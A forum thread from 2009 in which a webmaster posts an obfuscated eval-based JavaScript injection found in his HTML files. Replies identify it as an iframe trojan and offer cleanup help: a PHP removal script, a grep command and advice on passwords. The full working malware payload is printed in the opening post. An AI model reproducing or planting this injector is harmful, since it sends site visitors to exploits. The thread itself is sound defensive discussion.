Реклама на сайте Advertise with us

Нашел вот такой говнокод в своих html файлах

Расширенный поиск по форуму
 
Новая тема Новая тема   
Автор
Поиск в теме:
+ + +


С нами с 20.11.04
Сообщения: 119
Рейтинг: 3

Ссылка на сообщениеДобавлено: 26/02/09 в 21:43       Ответить с цитатойцитата 

В html файлах которые создал после открытия тега body добавилось вот это

<script language=JavaScript> function ffpbnb25(z) {var
c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,58,52,8,44,50,24,25,59,35,0,0,0,0,0,0,62,42,19,4,3,18,26,45,13,36,12,61,57,30,5,20,34,31,46,6,60,32,53,54,10,9,2,0,0,0,0,55,0,37,28,11,48,38,47,40,33,49,56,1,15,14,39,16,21,51,29,7,22,17,0,23,43,41,27);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(165^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}ffpbnb25('EqT5kx42cFr2CsH2t9yUhxT5vcgnkx4io9JdcsKPEQHquDb9ZeYqDQHi3DbhcBJ5v9LIkl7duS7htQGi6M6qusrVQAgPEFrVvDbdc5T5Dx4PuxgeZ131CsrqcMG5ofbdHPmiu_TPwBT5kxJ5H5j9OX7abSY9mXjIkl7duSyUmXjhNXHqksrq6EYIut6qvq4dHsHeOEYaNFr2bnJd6M6dJzrVYBJ_QR45cDThzeyPJlTVC9JdzX39')
</script>

троян?
как бороться? кто подскажет?

0
 



С нами с 31.07.07
Сообщения: 331
Рейтинг: 129

Ссылка на сообщениеДобавлено: 26/02/09 в 21:50       Ответить с цитатойцитата 

Tроян.HTML:IFrame-CC [Trj]

0
 



С нами с 23.01.09
Сообщения: 202
Рейтинг: 27

Ссылка на сообщениеДобавлено: 26/02/09 в 21:55       Ответить с цитатойцитата 

Asmodeus писал:

троян?

скорее всего ифрейм на сплоит

Asmodeus писал:

как бороться? кто подскажет?

сотри код и поменяй все пароли.
если появится снова, ищи чужие файлы на хосте

0
 



С нами с 23.01.09
Сообщения: 202
Рейтинг: 27

Ссылка на сообщениеДобавлено: 26/02/09 в 21:56       Ответить с цитатойцитата 

SN211 писал:
Tроян.HTML:IFrame-CC [Trj]

да IFrame, я был прав

0
 

127.0.0.1

С нами с 26.04.06
Сообщения: 1092
Рейтинг: 557

Ссылка на сообщениеДобавлено: 28/02/09 в 01:15       Ответить с цитатойцитата 

варианта два:
1) спиздили через пинч фтп-акки, которые прописаны в фаре или тоталкоммандере,

2) бэкдор подхватил, попиздили секурную инфу (файлы с паролями).

по поводу восстановления файлов, есть такой скрипт:

Код:

<?
chdir("../..");
foreach (glob("*",GLOB_ONLYDIR) as $d) {
  echo "- {$d}: ";
  if (!file_exists($d."/public_html/index.php")) {echo "-<br>\n";continue;}
  $h=file_get_contents($d."/index.php");
  copy ($d."/public_html/index.php",$d."/index.php.bak");
  $p1=strpos($h,"<script language=JavaScript> function ");
  print $p1.", ";
  if ($p1===false) {echo  "?<br>\n";continue;}
  $p2=strpos($h,"</script>",$p1)+9;
  print $p2." ";
  if ($p2===false) {echo  "??<br>\n";continue;}
  $z=fopen($d."/public_html/index.php","w");
  fputs($z,substr($h,0,$p1).substr($h,$p2));
  fclose($z);
  echo "ok<br>\n";
# break;
}
?>


кладешь в корень любого сайта, запускаешь с браузера
скрипт выходит на два уровня выше по каталогам (из public_html/имя_домена) в папку с сайтами и проверяет все index.php (заменить на свой вариант)

второй вариант, если сервер свой и есть доступ к шеллу:
cd /home
grep -irl "<script language=JavaScript> function " >> bad.txt &

как отработает скрипт, каким-нибудь парсером или простым пхп-скриптом очистить
все файлы от инъекции

третий вариант:
восстановить с бэкапов


ну и само собой - скачать CureIt, AVZ4 или еще чего, проверить винду (переставить)
и сменить все фтп-пароли (лучше сделать сразу и с другого компа)

если стоит вебмани, сменить ключи, пароли немедленно.
если это был пинч, то менять пароли ко всем критическим вебресурсам, где на автомате стоит автозаполнение в ИЕ

0
 



С нами с 10.10.07
Сообщения: 339
Рейтинг: 404

Ссылка на сообщениеДобавлено: 28/02/09 в 09:45       Ответить с цитатойцитата 

localhost писал:
варианта два:
Код:

<?
chdir("../..");
foreach (glob("*",GLOB_ONLYDIR) as $d) {
  echo "- {$d}: ";
  if (!file_exists($d."/public_html/index.php")) {echo "-<br>\n";continue;}
  $h=file_get_contents($d."/index.php");
  copy ($d."/public_html/index.php",$d."/index.php.bak");
  $p1=strpos($h,"<script language=JavaScript> function ");
  print $p1.", ";
  if ($p1===false) {echo  "?<br>\n";continue;}
  $p2=strpos($h,"</script>",$p1)+9;
  print $p2." ";
  if ($p2===false) {echo  "??<br>\n";continue;}
  $z=fopen($d."/public_html/index.php","w");
  fputs($z,substr($h,0,$p1).substr($h,$p2));
  fclose($z);
  echo "ok<br>\n";
# break;
}
?>



т.к. дофига сейчас есть всяких попапов, и прочей фигни, скрипт может найти дофига чего нужного

Цитата:
второй вариант, если сервер свой и есть доступ к шеллу:
cd /home
grep -irl "<script language=JavaScript> function " >> bad.txt &


я думаю не сильно прикольно парсить мувики, пикчи, бинари и прочее, которое составляет 70% от контента на сервере.

сначала проверь откуда на твой хост были заходы по фтп/ssh, если действительно были НЕ с твоих айпишников - заблочь фтп только для себя, смени пароли, почисть контент и спи спокойно.

если небыло - занчит ищи у себя на сервере скрипт, который раскидывает инъекции по файлам, и до того момента пока эот скрипт не найдёшь можешь даже не париться чистить контент.

А искать заражённые файлы судя по всему лучше по ffpbnb25 (не факт, название функции может генерится на лету), или по куску кодированной строки в конце кода.

http://soft-com.biz/ - Администрирование серверов, 24/7 тех.поддержка и мониторинг.

0
 



С нами с 05.11.08
Сообщения: 6
Рейтинг: 1

Ссылка на сообщениеДобавлено: 02/03/09 в 07:01       Ответить с цитатойцитата 

Сделай бэкап, для этого их и придумали, пользуйся самыми новыми браузерами.

Price http://phantomcoach.com/price.zip

0
 



С нами с 12.03.09
Сообщения: 1

Ссылка на сообщениеДобавлено: 13/03/09 в 03:13       Ответить с цитатойцитата 

Хочу узнать мнение по поводу использования сервисов онлайн проверки сайта на вирусы и мониторинга (изменение скриптов). Например siteguard.ru . Могут ли они помочь в подобных случаях.

Журналы,книги.Скачать бесплатно,без регистрации

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 16/03/09 в 05:14       Ответить с цитатойцитата 

Цитата:
варианта два:
1) спиздили через пинч фтп-акки, которые прописаны в фаре или тоталкоммандере,

2) бэкдор подхватил, попиздили секурную инфу (файлы с паролями).

Или еще вариант - просто подобрали пароли на FTP. Наверное, не просто ж так боты перебирают их целыми днями на серваках.

0
 
Новая тема Новая тема   

Текстовая реклама в форме ответа
Заголовок и до четырех строчек текста
Длина текста до 350 символов
Купить рекламу в этом месте!


Перейти:  



Спонсор раздела Стань спонсором этого раздела!

Реклама на сайте Advertise with us

Опросы

Рецепт новогоднего блюда 2022



Обсудите на форуме обсудить (11)
все опросы »